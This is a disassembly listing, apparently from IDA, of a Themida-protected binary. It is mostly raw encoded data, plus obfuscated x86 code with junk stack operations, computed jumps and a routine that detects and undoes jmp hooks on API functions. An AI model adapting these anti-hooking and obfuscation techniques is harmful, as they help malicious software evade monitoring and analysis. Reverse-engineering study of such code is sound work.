		dd 65A7651h, 6A1BDE84h,	1A43C909h, 0BA000001h, 162CC0E2h
		dd 73891D3Dh, 0D3E97D97h, 364CE0F4h, 0D2AB3F5Bh, 3C58332Ch
		dd 9AB892A8h, 0FC12F006h, 5D755268h, 0E96616C9h, 13AE2812h
		dd 92EC7BC0h, 0EAFC1AF4h, 89D9F5D0h, 0AB368417h, 5FDF9C90h
		dd 64BD1DF7h, 0AACCDE94h, 0B9FB794h, 16F4923Ah,	0A12DC800h
		dd 819BADC3h, 86548CA4h, 0DEFD91A9h, 4BADFDB1h,	0A6B8D0ADh
		dd 0A6EF35ADh, 0AEFE6713h, 85193510h, 0A6F0EF90h, 4B2813h
		dd 37D20A24h, 59344ADEh, 8E7F053Dh, 0E000000h, 1C6C424Dh
		dd 0AE25E39Fh, 2940B213h, 2E41A2FAh, 0C3B83585h, 8F13AE0Bh
		dd 0C5351426h, 5CA59222h, 154DA632h, 0BE526A47h, 7BB3CBA8h
		dd 0CBCD43CEh, 0DFF7D440h, 0E1FFD9A7h, 255D7B55h, 0A3EF976Eh
		dd 0DD400481h, 3E54E800h, 7F114961h, 0D7B508E1h, 95EE89C1h
		dd 96B0C25Dh, 0E153A3B7h, 7F42EA87h, 2BF10331h,	3068805Dh
		dd 336B8762h, 5E1252CFh, 0EB5212E9h, 8862F60Eh,	0E0F210EAh
		dd 99D1E9C6h, 813h, 358DA200h, 8EA0BC97h, 5C7E56B9h, 61795624h
		dd 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h
		dd 7A94703Eh, 7B9B7442h, 0EC81EE43h, 4,	50241C89h, 405E089h
		dd 83000000h, 48704E8h,	0C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	ecx, 5C1214F3h
		neg	ecx
		shr	ecx, 2
		sub	ecx, 28612136h
		and	ecx, 1E83044Ch
		dec	ecx
		not	ecx
		xor	ecx, 0F8917A98h
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 8
		add	edx, 4783444Dh
		add	edx, eax
		sub	edx, 4783444Dh
		mov	[edx], ecx
		pop	edx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		db 0C0h
; ---------------------------------------------------------------------------
		push	esi


loc_60AEC5:				; CODE XREF: Themida_:loc_60A9D4j
		mov	eax, 7EC89A3h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0D2E2h
		dd 99060598h, 31BA3726h, 17307731h, 0C70E4509h,	6ECD16B4h
		dd 7FFF5F63h, 61B76EC4h, 0EDE97337h
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_60AEF3	proc near		; DATA XREF: Themida_:00585548o
					; Themida_:0058571Co
		pusha
		mov	ax, ds
		test	al, 4
		jz	loc_60AFDE
		mov	esi, [ebp+7E41281h]
		cmp	esi, 0
		jnz	loc_60AF30
		mov	byte ptr [ebp+7E42C2Dh], 45h
		push	8E726969h
		push	dword ptr [ebp+7E4019Dh]
		lea	eax, [ebp+7E7B0A7h]
		call	eax
		mov	[ebp+7E41665h],	eax
		mov	esi, eax


loc_60AF30:				; CODE XREF: sub_60AEF3+15j
		cmp	byte ptr [esi],	0E9h
		jnz	loc_60AF6A
		lea	eax, [ebp+7E9B928h]
		call	eax
		mov	edi, [ebp+7E42D39h]
		add	edi, 1184h
		mov	esi, [ebp+7E41281h]
		xchg	esi, edi
		mov	ecx, 8
		rep movsb
		mov	esi, [ebp+7E41281h]
		lea	eax, [ebp+7E86E30h]
		call	eax


loc_60AF6A:				; CODE XREF: sub_60AEF3+40j
		mov	esi, [ebp+7E401A9h]
		cmp	esi, 0
		jnz	loc_60AF9B
		mov	byte ptr [ebp+7E42C2Dh], 54h
		push	0FF4EBEF4h
		push	dword ptr [ebp+7E4019Dh]
		lea	eax, [ebp+7E7B0A7h]
		call	eax
		mov	[ebp+7E401A9h],	eax
		mov	esi, eax


loc_60AF9B:				; CODE XREF: sub_60AEF3+80j
		cmp	byte ptr [esi],	0E9h
		jnz	loc_60AFDE
		mov	esi, [ebp+7E401A9h]
		lea	eax, [ebp+7E9B928h]
		call	eax
		mov	edi, [ebp+7E42D39h]
		add	edi, 1184h
		add	edi, 8
		mov	esi, [ebp+7E401A9h]
		xchg	esi, edi
		mov	ecx, 8
		rep movsb
		mov	esi, [ebp+7E401A9h]
		lea	eax, [ebp+7E86E30h]
		call	eax


loc_60AFDE:				; CODE XREF: sub_60AEF3+6j
					; sub_60AEF3+ABj
		popa
		retn
sub_60AEF3	endp

; ---------------------------------------------------------------------------
		dd 8A68858Dh, 858907ECh, 7E43291h, 8C0C8D8Dh, 14E807ECh
		dd 1D000000h, 420EDFA2h, 6C9563D7h, 8CF8EA20h, 819151A8h
		dd 609BB0EBh, 0F18B5B53h, 8D895F61h, 7E41B71h, 29DD9589h
		dd 236007E4h, 0E422B58Dh, 0BD858907h, 6107E430h, 2DA185C7h
		dd 5B5407E4h, 0E0810000h, 59E174BFh, 22B985C7h,	7E4h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 893251C3h, 0E40AF18Dh, 91B5FF07h, 0F07E422h,	8A0FC6B7h
		dd 0Ch,	7E9h, 42570900h, 3C7E1A06h, 306195FFh, 958907E4h
		dd 7E42F7Dh, 95FF006Ah,	7E40E41h, 6FEBC08Bh, 0CB050145h
		dd 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h, 11126661h
		dd 70DC9192h, 0B8A5B69Bh, 2FC5B3F6h, 0D3808E6Fh, 6CBE851Bh
		dd 0C337E483h, 51DEFF5Eh, 0C96D770Fh, 147D7AE2h, 5B882BAEh
		dd 2CD34301h, 0E366E0DEh, 4F0AE388h, 0AF6B2CAEh, 0A6C9C9A2h
		dd 1A5711D1h, 0AE810AB5h, 7E32E9CEh, 0BABE2B04h, 4CE165B8h
		dd 0F2001058h, 0E9CBFE05h, 2Ah,	59641DC3h, 416C7452h, 636F6C6Ch
		dd 48657461h, 706165h, 140000h,	4 dup(0)
		dd 20E90000h, 68000011h, 7EC8E7Bh, 0F7F13EE9h, 8F8D68FFh
		dd 34E907ECh, 68FFF7F1h, 7EC91C1h, 0F7F12AE9h, 92A668FFh
		dd 20E907ECh, 68FFF7F1h, 7EC9660h, 0F7F116E9h, 96E868FFh
		dd 0CE907ECh, 68FFF7F1h, 7EC9727h, 0F7F102E9h, 981E68FFh
		dd 0F8E907ECh, 68FFF7F0h, 7EC98D8h, 0F7F0EEE9h,	993268FFh
		dd 0E4E907ECh, 68FFF7F0h, 7EC9B2Fh, 0F7F0DAE9h,	9C3868FFh
		dd 0D0E907ECh, 82FFF7F0h, 0DEF488AAh, 3B51E505h, 9BB1455Fh
		dd 0FE14A8BCh, 9A730723h, 420FB54h, 62805A70h, 0C4DAB8CEh
		dd 253D1A30h, 0B12EDE91h, 13AE2DCAh, 56B44388h,	5B296179h
		dd 602E667Eh, 7D346C82h, 0A27FFEA6h, 5BD83A8Ah,	1442A0A4h
		dd 5E3DC932h, 16384Ah, 0E3F7D625h, 8EC83A8Ah, 8081738h
		dd 0EC022436h, 0CBEBC40Fh, 8F6C3A72h, 0CBC4E377h, 941693E3h
		dd 0DA13A659h, 0F38C3971h, 2413A65Eh, 21EF94Ah,	0CAA371A9h
		dd 6C3372AAh, 0F207838h, 1FD82757h, 20BED877h, 0C3B83542h
		dd 8F13A656h, 6841CD26h, 33973648h, 0C0000000h,	1C6C424Dh
		dd 2AE448BAh, 175A3D6Dh, 0B6460C05h, 0AB1413A6h, 8835C673h
		dd 819213A6h, 0E96699C5h, 0CE30D877h, 0A684AA51h, 0ADBF2813h
		dd 0AE0Eh, 79563700h, 805B2961h, 9B761464h, 0FA53734Ch
		dd 0B6C727C2h, 0CC4D3D37h, 21EFB5C7h, 20F944h, 0C4A16FA7h
		dd 872318ACh, 9A144209h, 0B755A5BDh, 8BADBFDDh,	48809875h
		dd 40901E71h, 0A60641C3h, 12A60F13h, 0A7BB9A38h, 9FC2D46Fh
		dd 0F16EBEF0h, 14408FFEh, 5DFB4BB4h, 0F8D26682h, 2A62805Ah
		dd 2B63835Ch, 0B253790h, 1CC01430h, 15623721h, 0E934FD5h
		dd 0F9D10000h, 542D43D7h, 0AE8AA034h, 0BEA0094h, 724D63F7h
		dd 3E9C256h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h, 0E0748C69h
		dd 7B007D2Dh, 0D713AE2Eh, 7B560392h, 0D8B5CB5Fh, 4D5B2CC0h
		dd 0BA1C6C42h, 0A024DB58h, 49B21442h, 0A9883E37h, 0A94713A6h
		dd 0AD7BB3CDh, 60B9CFh,	8C47E04Eh, 29081AA8h, 20DB88C0h
		dd 0A713A65Bh, 51AEEE96h, 86D87716h, 0FBh, 617956AFh, 7F957311h
		dd 0D49AAC47h, 7AC9A442h, 0B04B839Fh, 0F58A0757h, 611442A0h
		dd 0F1CCE6F8h, 0D0F09DD5h, 0A31442A4h, 0D9112705h, 35122C3Eh
		dd 0EE6BCD1Dh, 1442A509h, 0F7D05CC5h, 0F2049FD7h, 92DDBAD0h
		dd 84099B9h, 505E31h, 346C8662h, 0A55E25A2h, 93FC1442h
		dd 0CD4A283Ah, 13A6B14Bh, 889E7C1Ah, 9A2E9776h,	8C67147Bh
		dd 124A5E3Dh, 75C51E77h, 0BF8CC003h, 55E19D63h,	714F6177h
		dd 40CDD4F4h, 0ED3DA614h, 0C458744Fh, 0AB84D3AEh, 5FB8538Bh
		dd 375FDB0Bh, 0A42A6A62h, 0D81h, 55E90BE3h, 0B246663Fh
		dd 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh,	0E1BBD165h
		dd 3B192FC3h, 9E7B9125h, 8F3FF286h, 0AE2F6D12h,	15A4E913h
		dd 56587B56h, 6A6EFF55h, 697F136Ch, 0C224748Ch,	241CE360h
		dd 51BA1442h, 422411E6h, 4254BD14h, 56D44620h, 0C7A7F76Dh
		dd 56AE8395h, 5B296179h, 0DDD2667Eh, 1442A022h,	0EC809875h
		dd 0A9E1F9D6h, 819F7917h, 6078556Fh, 6EE0EA28h,	79A45FCFh
		dd 5C35C133h, 0D98D2A3Ch, 0DD718966h, 5BACF906h, 0ACDEE0h
		dd 4D070000h, 9F1C6C42h, 13A6B6E9h, 59063EA7h, 13A6B7A6h
		dd 0C0F818F1h, 0C3FB17F2h, 0C989BD84h, 75246071h, 0CCDEFED7h
		dd 78060EF1h, 7CC7D8h, 77F00000h, 1442A085h, 0D6268807h
		dd 0A6A6B759h, 40D43D13h, 0F0870466h, 5E13A6A6h, 0A6FA81FEh
		dd 0EF5813A6h, 8F6A8496h, 3E186340h, 0F48FC720h, 38C639Bh
		dd 90DE5BABh, 3E1442A6h, 4D2B41D5h, 180A2504h, 0F96725FBh
		dd 852058B1h, 0C462F42Ch, 663FCBEBh, 61730E46h,	0D5D513Eh
		dd 6EF3BE90h, 0B74BB41Ch, 79FE7BDDh, 0D503EE3Ch, 6885A6Ch
		dd 0E000009h, 3C482FACh, 9D0603EEh, 424DB68Bh, 0E59F1C6Ch
		dd 0AB13A6BDh, 0A25D0A42h, 0F513A6BEh, 0A5BCF918h, 62F714A7h
		dd 542FD109h, 9E8DABC0h, 5E7E57E3h, 0EC986F26h,	447C9471h
		dd 0E7F850A9h, 0E600FFBFh, 15D5D877h, 0FE000000h, 42A08477h
		dd 29CE4B14h, 0A51442A0h, 3C9FE33Ch, 2EFFFFFCh,	0F875424Dh
		dd 1442A003h, 0A0AC53D0h, 0C12A1442h, 5EAE0770h, 0A6B47BE1h
		dd 1BB91913h, 50EB2341h, 0A6B41EE5h, 0FA53BC13h, 0B46A15C2h
		dd 0D0E113A6h, 917E894h, 34C0D878h, 0E9000005h,	18ED245h
		dd 5DFB5DADh, 9631697Fh, 42A0542Bh, 49990214h, 42A037CCh
		dd 283AA314h, 8C1FCD4Ah, 64CD13A6h, 0BC70505Bh,	0D1BEBA63h
		dd 2E108DDDh, 24A20FDCh, 0E3AC83BBh, 0DAFE7BCBh, 79AA286Eh
		dd 0AEE6FEDBh, 86220113h, 0BC578FABh, 98751363h, 0F9D6EC80h
		dd 5EB7D3AEh, 8DA3E60Ah, 0AD3373B0h, 0B4Dh, 891D3F17h
		dd 0E67A9A73h, 46DAF4D0h, 0A93D5130h, 89CB893h,	0B590C92Fh
		dd 15EF0599h, 6F4D63F7h, 0D2AFC559h, 0C37326BAh, 0AE31B146h
		dd 49D81D13h, 0ED6A7956h, 1442A016h, 0A0B348C5h, 0B61F1442h
		dd 6BA3FC65h, 475D3BD9h, 317D1235h, 865A64E1h, 5BF913A6h
		dd 63046480h, 0A11D64A7h, 8BF4D3E5h, 0A9BF9D3Bh, 4ADBE759h
		dd 0F821B4A2h, 0D0AEC4E6h, 2ED582BAh, 0AD13A6AFh, 517350Fh
		dd 0A6BF730Ch, 6642E013h, 78173A4Ch, 1284E636h,	0EE6AD34Dh
		dd 0B7B0C2A7h, 14429899h, 99467EE7h, 1B8A9BE6h,	6C105465h
		dd 0D093D693h, 1C44h, 424D6D00h, 0C99F1C6Ch, 8713A6B6h
		dd 3A5CCE1Eh, 95A2EB3Bh, 1AA06678h, 0Eh, 6C424DA9h, 0B5019F1Ch
		dd 0E64F13A6h, 795625AEh, 0D1ED0D61h, 40807202h, 0A68BAh
		dd 224FC00h, 5F7F586Eh,	0BFD9B5CBh, 2236152Bh, 819D788Eh
		dd 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh, 94AA3E54h,	580B9FB7h
		dd 32542BA8h, 0BD0213AEh, 39424D2Eh, 720D455Bh,	2A4CC919h
		dd 0B813A6B4h, 6C49174Fh, 0F22A4621h, 0CE3B3550h, 0CF281E8Ch
		dd 93EDE276h, 0FD34EDC0h, 0EF0DE794h, 2FC31CB7h, 0DF2F7F10h
		dd 89214462h, 59A9123Ch, 90C8DCBBh, 748C69F5h, 0F5CE9C62h
		dd 4FE8BACEh, 411CB2B1h, 56CCC25h, 0D655D6E7h, 0F514A801h
		dd 52C4149Ah, 2C0B6A6Eh, 52304204h, 0B5C977D5h,	649C0524h
		dd 0B5C9C4B7h, 3272832Ah, 64B4758Ah, 1D962A1h, 4D8B0000h
		dd 9F1C6C42h, 13A6B445h, 562DAA0Ch, 0F513A6B5h,	2A4F476Ch
		dd 0E77C8E5h, 0A8811DFCh, 55B55088h, 52BF961Ch,	3F77D0CDh
		dd 8859471h, 13A6E373h,	5CADC9A4h, 5126A3F3h, 0FD13A6E3h
		dd 91A73B94h, 38D495B4h, 8E2EA0F7h, 6D47E535h, 0BC7BEF4Fh
		dd 0A9630552h, 0DA24D197h, 3D34ED24h, 44124A5Eh, 0B0144C6Ah
		dd 1D3F7333h, 0CDE3C15Fh, 4BE8FA95h, 2F47241Bh,	4E6241DFh
		dd 27041A3Ch, 0D02AD70Fh, 431C2662h, 45134B69h,	0ECC55167h
		dd 4BA4BC99h, 0C1855C13h, 1451C91h, 2EE2E85Ah, 3D33E7ABh
		dd 1C34112Bh, 16ED6ACCh, 0C4423969h, 6910E764h,	55BE4239h
		dd 0EEC8EAFCh, 0CD35DC7Ch, 0C744A6A1h, 42390830h, 0CADC359Eh
		dd 47C4D3B0h, 423908B0h, 0B4EC08E3h, 65FC819h, 0BF9E3CCEh
		dd 0C6D873ABh, 6CBCF2A3h, 390828EFh, 2D7DE642h,	3A4E2DCBh
		dd 7FC6702h, 0D3423908h, 1736586Ah, 69E63678h, 45DD022Fh
		dd 86548CF5h, 0E7FD91A9h, 28BAF20Ah, 845FB08Ah,	3C953068h
		dd 5E576904h, 4A1D1381h, 0E5123912h, 0E9D902B2h, 0BA4C84DDh
		dd 1D2A463Dh, 1FAB144Ah, 31BF841h, 9FD730CBh, 0BADCF4D1h
		dd 0D449093Dh, 27431EBCh, 8DCC7815h, 0C4FC10EFh, 20FD1729h
		dd 389A7408h, 1D2AC4BBh, 6116934Ah, 0ED4A1D2Bh,	0B8CA3384h
		dd 49139ABFh, 0A9DF43Eh, 27AB549Eh, 90247D0Bh, 4D859D7Ah
		dd 0B6366BA0h, 0F610EC40h, 0FA14F0BEh, 88BC83C2h, 7D29A6C8h
		dd 99162502h, 4CB877E2h, 1AAE0770h, 0BF0F2704h,	0D17B3E4Dh
		dd 1E30998Eh, 990E8158h, 82FF2EC4h, 4CB8C4FDh, 9190F059h
		dd 858B1B6h, 0C8A644A6h, 5AB047B2h, 0B51E4CB8h,	70A4AAA3h
		dd 89F24B5Ch, 4C27F5h, 4DB60000h, 0BA1C6C42h, 0A024DB58h
		dd 49B21442h, 0B6A83E37h, 0BD2613A6h, 7955F385h, 1895275Fh
		dd 13A6B663h, 1B2D86EFh, 74082801h, 3752B8Ah, 0F10FE992h
		dd 3CCB4898h, 0AB13A6BCh, 0E018300Dh, 0F4543345h, 0A6BC8077h
		dd 8CE54E13h, 79560F10h, 0FF37532Eh, 58770B64h,	0AA277737h
		dd 13A6BC34h, 0BA9F962h, 29C7172Dh, 123354Bh, 0BFF70DEBh
		dd 0F5D4A7E8h, 0D63888E1h, 0BD00F774h, 0B69313A6h, 7ACB669Eh
		dd 0B406FF11h, 9B14429Bh, 0D00820FDh, 0DB442335h, 0F405F6A3h
		dd 0A851B8Ah, 79D754A4h, 81C6EF5h, 49EB2496h, 0E7F99A67h
		dd 798D6C08h, 0F413C919h, 55AE99C6h, 0A48F701Dh, 2B3C03EEh
		dd 0DBC437Bh, 1F19C8B0h, 42000000h, 1C6C424Dh, 293D1CBAh
		dd 0EECA56F1h, 0EF019CD4h, 0A6B610F6h, 3D75DE13h, 2EB7h
		dd 424D4600h, 70B4AD65h, 746D1A94h, 0EA0747F8h,	0D7B03C95h
		dd 8BE47FB7h, 0A2E0BE3Bh, 56E13A6h, 5CD93BCDh, 13A68CA7h
		dd 0A0BC9733h, 92603547h, 0ACFC1AF4h, 42A0482Fh, 8B9D0614h
		dd 287C9471h, 7202D1DCh, 0AEDF65A5h, 0B6000006h, 1228BCDEh
		dd 6F851939h, 0CFE57993h, 3248DCF0h, 0CEA73B57h, 38542F28h
		dd 96B48EA4h, 0F80EEC02h, 59714E64h, 0E56212C5h, 13AE361Eh
		dd 45E877BCh, 6B107FC1h, 0CF1F788Ch, 0A68C8452h, 0E0E95213h
		dd 0E0566ED5h, 0C7E7A8D1h, 0A79CFA77h, 16AD98Dh, 119DF2C9h
		dd 9C6744C1h, 56F4C1A9h, 38542F78h, 0FA0CA7DFh,	8AA27F1Bh
		dd 0E5EB752h, 7849370h,	0CDB1E370h, 881C75DEh, 297D9572h
		dd 980F8EE5h, 26EA70B0h, 3E000006h, 9AB04466h, 0F70DA1C1h
		dd 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h, 1E3C162Ch
		dd 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh, 13AE3696h,	5670FF44h
		dd 0B0D6179h, 9E7202D2h, 5E7D85Eh, 0A57D0000h, 0D9EF83h
		dd 5A364CE0h, 0B796AC40h, 1EF90FA3h, 6F956E02h,	6BFF1BF6h
		dd 0C95D7B55h, 2BBFD5B3h, 8C203815h, 0D7AC29D9h, 8313AE37h
		dd 7956AF3Eh, 3D522961h, 42A42171h, 1013AE2Ch, 9BF413A7h
		dd 0C361C313h, 6642CEE6h, 0AB413A4Ch, 29144A0Dh, 58F688C0h
		dd 902B637Bh, 0DFA857Eh, 421D1B92h, 4120EE26h, 6DC02826h
		dd 64BDABE3h, 66845E2Ch, 71F4932Eh, 79507635h, 0C49A5A35h
		dd 4202136Bh, 8BE4E51Ah, 0EC41B3D0h, 0B8366796h, 0A953F204h
		dd 7C000000h, 27C5C045h, 0A1EFD4Ch, 0A6DE37D2h,	0B9D6F90Bh
		dd 7A28A5F5h, 2813A68Ch, 0CAABB6BFh, 99DCA19Eh,	0CB0321FBh
		dd 94FB1E30h, 0F668CA1Ah, 0BA092A24h, 0C1BACC24h, 0C54D627Fh
		dd 0FE2265D5h, 0E65F1CE5h, 117E558Dh, 88D04D9Dh, 4ACD75CBh
		dd 16F391E1h, 77546AFEh, 47170B5Fh, 66A68B4Ah, 4F0E0h
		dd 7A9C7400h, 0D7F7D0E6h, 37512D43h, 9AAE8DA3h,	0F915F006h
		dd 0ED668C65h, 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh
		dd 38DCA320h, 357A13AEh, 0B33092A6h, 1442A0CCh,	7E008F7Bh
		dd 4798E39Ch, 0A4FACCDEh, 89000000h, 0FD19F492h, 0F5182AC5h
		dd 62C4149Ah, 0A0FC8300h, 0F15A1442h, 356D8B65h, 658F889Ah
		dd 0EB13AE2Ch, 0B7943282h, 0E307BA98h, 9BFBB735h, 408EFD9h
		dd 27BB14C2h, 0CC1C3411h, 2C197F5Ah, 67796C21h,	0E9C5CAA1h
		dd 84361C99h, 0E444144Ah, 92889067h, 7CD53E1Bh,	85226D44h
		dd 7046901h, 66B60F20h,	76B997E9h, 80D43D1Ch, 5A4EB4ACh
		dd 365FE525h, 2E000004h, 8AA03456h, 0E7FD91B1h,	475DF10Bh
		dd 0AAC05468h, 461FB3CFh, 0B0CCA7A0h, 0E2C061Ch, 7086647Ah
		dd 0D1E9C6DCh, 5DDA8A3Dh, 13AE38A6h, 7760EF34h,	1442A080h
		dd 42A04B34h, 0E2CCC314h, 2CF31592h, 0E48213AEh, 0FBDAEC0Ah
		dd 0AF8C5A92h, 45F34397h, 0B2F26A16h, 3DC2Ch, 8EB08800h
		dd 0EB0BE4FAh, 4B654157h, 0AEC2A1B7h, 0D29041Ah, 15AA079h
		dd 60760A26h, 0BED46886h, 2036CAE0h, 0E4972B43h, 39C0B734h
		dd 498E13AEh, 1AF492BAh, 79D2EEC9h, 7A94A641h, 0D335859Dh
		dd 42A0A156h, 0B2C42D14h, 2D7A15ECh, 0FB062AB3h, 5EAE07C2h
		dd 0A63F3FE1h, 0D86CD513h, 0BD3A9CFEh, 13A63FC6h, 3BC02B94h
		dd 9713A600h, 0AAC8A22Eh, 0BA9F98h, 0C29D0CB7h,	21FC12A6h
		dd 3D17B505h, 3A4CE71Fh, 0B3F49D74h, 0D24253E3h, 1DE25F2Bh
		dd 0B932B768h, 0A9EF750h, 61795639h, 667E5B29h,	0E30CA416h
		dd 0A6360C4Dh, 3C537294h, 0D855603Fh, 1442CD23h, 0B5ED46AFh
		dd 0A522BA1Ah, 0BDA89F8Fh, 15971464h, 5C13A6A9h, 0B3C5E5BEh
		dd 425C38D4h, 0BD1FB1E9h, 0F129431Fh, 8E14EB56h, 0AE8713A6h
		dd 0C2D43D8Eh, 0A68E36C9h, 0C0849513h, 77EF639Ch, 8574D8h
		dd 0F6940000h, 9C770317h, 92996E80h, 0CB598220h, 4274A94Eh
		dd 5CBC2514h, 0E8380780h, 428A946Bh, 0C7D94214h, 0F1BCEBA4h
		dd 8B5A621Dh, 375C51Eh,	0D3EE13Fh, 997789F5h, 0A4BC9937h
		dd 0FD39992h, 38A113A6h, 10A85300h, 0DEB13A6h, 14F1BFF7h
		dd 0E360C4FCh, 8697EFA3h, 61619EDEh, 0D537D877h, 0F3623463h
		dd 974AD8Eh, 13A67172h,	0AA2777E0h, 13A671D5h, 67061881h
		dd 0C7h, 0F40CE987h, 0FA10EEBCh, 56BA8FA1h, 73116179h
		dd 54744D94h, 0F028811Ch, 0AF7D4355h, 0B280B8D4h, 0B785BDD5h
		dd 392EC2DAh, 1442A499h, 23744EECh, 4AD62F45h, 2B45576Bh
		dd 8CA2364Eh, 6B8B64AFh, 8C03DA12h, 4755D222h, 1513A6ABh
		dd 96F918ACh, 0E74BC818h, 7614405Eh, 7E0EA904h,	0B8538B9Fh
		dd 9191E158h, 0E737A07Fh, 0BE526E49h, 758472E4h, 9D190E61h
		dd 0F050A9BFh, 705E5085h, 1A2C10h, 8BB50925h, 6E623872h
		dd 1DFA82Eh, 0AD850000h, 8E1F78Bh, 623E54E8h, 0BF9EB448h
		dd 260117ABh, 579D760Ah, 730723FEh, 0D165835Dh,	33C7DDBBh
		dd 9428401Dh, 0CFB431E1h, 8B13AE3Bh, 7B56B746h,	0D8B5CB5Fh
		dd 925B2CC0h, 0C90115F4h, 96F91C2Eh, 854BC818h,	5313A6A9h
		dd 22FC9AEAh, 839B7804h, 7DFEAB71h, 9613A6A9h, 9A68A0BAh
		dd 0B269A1C1h, 8FE7ABDBh, 6996C67Eh, 6ED87808h,	0D7h, 0C8AF2C8Eh
		dd 8613A6A5h, 56360B1Dh, 97296179h, 27C3E425h, 7955E33Ah
		dd 0DAF4065Fh, 2193E3FFh, 3B9EC663h, 0AA277722h, 144223D5h
		dd 40061881h, 42273793h, 152D0A14h, 304C27C5h, 0F6D15DF8h
		dd 90A6C8DAh, 8C639BB3h, 4037B403h, 0E144228h, 7FFC4CA5h
		dd 13A62611h, 0ADC7A33Fh, 48E6C054h, 20435569h,	8DEF3F6Fh
		dd 0A6376B10h, 6D4BE713h, 0EECFE57h, 40D11691h,	0A3F35C14h
		dd 79C8A341h, 1A2C859Bh, 75092500h, 1468845Fh, 62375436h
		dd 0D61197D7h, 8E000000h, 0EA0094B6h, 475DF111h, 0A7BD516Bh
		dd 0A20B4C8h, 0A67F132Fh, 102C0740h, 6E8C667Ch,	0D0E6C4DAh
		dd 3149263Ch, 0BD3AEA9Dh, 13AE3CC6h, 56C04F94h,	710F5F7Bh
		dd 0A8437B95h, 815E7496h, 5604D569h, 5B296179h,	0B3D2667Eh
		dd 995EDBDCh, 351442A0h, 0A62373CCh, 13AE2C50h,	5B209DFFh
		dd 0F713AE2Dh, 19D7C8Eh, 62B20B25h, 2DFC8300h, 0DE5B13AEh
		dd 13AE2D19h
		dd 92FB4CB5h, 0FECBA80h, 704D63F7h, 0B2732058h,	0AF4D26ADh
		dd 2E0B7232h, 8F6C8216h, 92713F77h, 0AD750A87h,	78E17237h
		dd 5631CF1Fh, 0B6D4AE3Ah, 0BD1E37Eh, 0C09E3C54h, 0C5D772AAh
		dd 24017C28h, 534ABC0Ch, 7AA1E0EBh, 172D4F61h, 0FDEC1B3Ah
		dd 78BE421Bh, 0A0F90DECh, 3E268h, 8D710000h, 5C7E563Eh
		dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
		dd 768A6937h, 7A94703Eh, 7B9B7442h, 8956EE43h, 4C681E6h
		dd 51000000h, 4B9h, 59CE2900h, 5C243487h, 81E28952h, 4C2h
		dd 4EA8100h, 87000000h,	895C2414h, 89562414h, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 2434895Ch, 8D2CBB53h, 895507ECh
		dd 5DEA89DDh, 348B545Bh, 4C48324h, 8FB85052h, 316F3E54h
		dd 58042444h, 8108468Fh, 548F0876h, 348B6F3Eh, 0E0895024h
		dd 405h, 4C08300h, 5C240487h
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 60F61735h, 9FA87A3Fh, 0B8170C9Fh, 7EC9D33h, 0E0FFC503h
		dd 0D751A77h, 1163AE90h, 2C1C9178h, 3E2F01A0h, 406C9188h
		dd 1583E736h, 0C390E15h, 9EB68D8Dh, 6A07ECh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 852312C3h
		dd 7E41C15h, 1B718D89h,	0BA6607E4h, 85C788A0h, 7E42DA1h
		dd 70ACh, 6E2F81BAh, 0B985C728h, 7E422h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 6DA9C351h, 0A6ECA9BBh, 0FF6A3ADEh, 0E41D49B5h, 95296007h
		dd 7E40DA5h, 99958B57h,	5A07E412h, 0DF816661h, 95FF6000h
		dd 7E43061h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	82C35141h, 4D9AA630h, 0F37AE022h, 6A5CB2h, 0E4195FFh
		dd 0C08B07E4h, 4F6F7FEBh, 0B2053E3Dh, 98BBF630h, 249BCEB0h
		dd 0EC226185h, 15F3BFD1h, 12D944EBh, 0AA0CE4BAh, 880B1AB5h
		dd 0D3EBFABBh, 3FB00F54h, 9A43D28Ah, 4986C5B8h,	76041B64h
		dd 9B68D751h, 7914C60Eh, 15E8E865h, 0B9CFAD92h,	1D8C9BB6h
		dd 5EA833A1h, 32EB3B76h, 4F99D278h, 529DACC7h, 0BAD1411Eh
		dd 0C62632A1h, 0AB1533FCh, 0FDA791DFh, 0CF8BA071h, 798B857h
		dd 0B5CB7F48h, 0D7E21451h, 5F4F2183h, 3F8D8D87h, 8907ECA0h
		dd 0E435618Dh, 718D8907h, 6A07E41Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D33FC352h
		dd 2D70FEA8h, 0C7FC8CC3h, 0E42DA185h, 6A4C07h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 572E8969h, 14E96F91h, 11000000h, 47A61725h, 8E428F5Fh
		dd 61C79BDh, 1ACE01CCh,	0C75A7736h, 0E422B985h,	7, 0BD8B6000h
		dd 7E42A05h, 6820Fh, 9D330000h,	7E40A51h, 49B5FF61h, 6A07E41Dh
